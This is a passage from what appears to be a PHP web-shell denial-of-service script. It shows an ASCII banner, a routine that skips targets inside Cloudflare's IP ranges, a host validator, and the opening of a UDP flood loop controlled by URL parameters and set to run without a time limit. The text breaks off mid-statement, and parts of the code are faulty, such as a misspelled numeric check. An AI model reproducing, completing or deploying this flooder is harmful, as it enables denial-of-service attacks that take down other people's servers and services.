DoS
__ _ _ _ / ____| | | | | (___ | |__ ___| | | \___ \| '_ \ / _ \ | | __ _) | | | | __/ | | __/|_| |_|\___|_|_|"204.93.240.255", "204.93.177.0" => "204.93.177.255", "199.27.128.0" => "199.27.135.255", "173.245.48.0" => "173.245.63.255", "103.21.244.0" => "103.21.244.255", "103.22.200.0" => "103.22.203.255", "103.31.4.0" => "103.31.4.255", "141.101.64.0" => "141.101.127.255", "108.162.192.0" => "108.162.255.255", "190.93.240.0" => "190.93.255.255", "188.114.96.0" => "188.114.96.255", "197.234.240.0" => "197.234.240.255", "198.41.128.0" => "198.41.128.255", "162.158.0.0" => "162.158.0.255"); foreach ($ranges as $k => $v) { if (ip2long($k) <= ip2long($ip) && ip2long($ip) <= ip2long($v)) { die(); } } return $ip; } function validateHost($domain) { $domain = str_ireplace("https://", "", $domain); $domain = str_ireplace("http://", "", $domain); $domain = str_ireplace("ftp://", "", $domain); $domain = str_ireplace("udp://", "", $domain); $domain = str_ireplace("tcp://", "", $domain); $domainEx = explode("/", $domain); $domainEx = explode(":", $domain); $domain = checkCloudFlare($domainEx[0]); if (filter_var($domain, FILTER_VALIDATE_IP)) { return $domain; } else { if (!filter_var($domain, FILTER_VALIDATE_IP)) { if (filter_var(gethostbyname($domain), FILTER_VALIDATE_IP)) { return $domain; } else { die(); } } else { die(); } } } //UDP if(isset($_GET['host'])&&isnumeric($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = checkNullStr((int)$_GET['time']); $time = time(); //print "Started: ".time('d-m-y h:i:s')."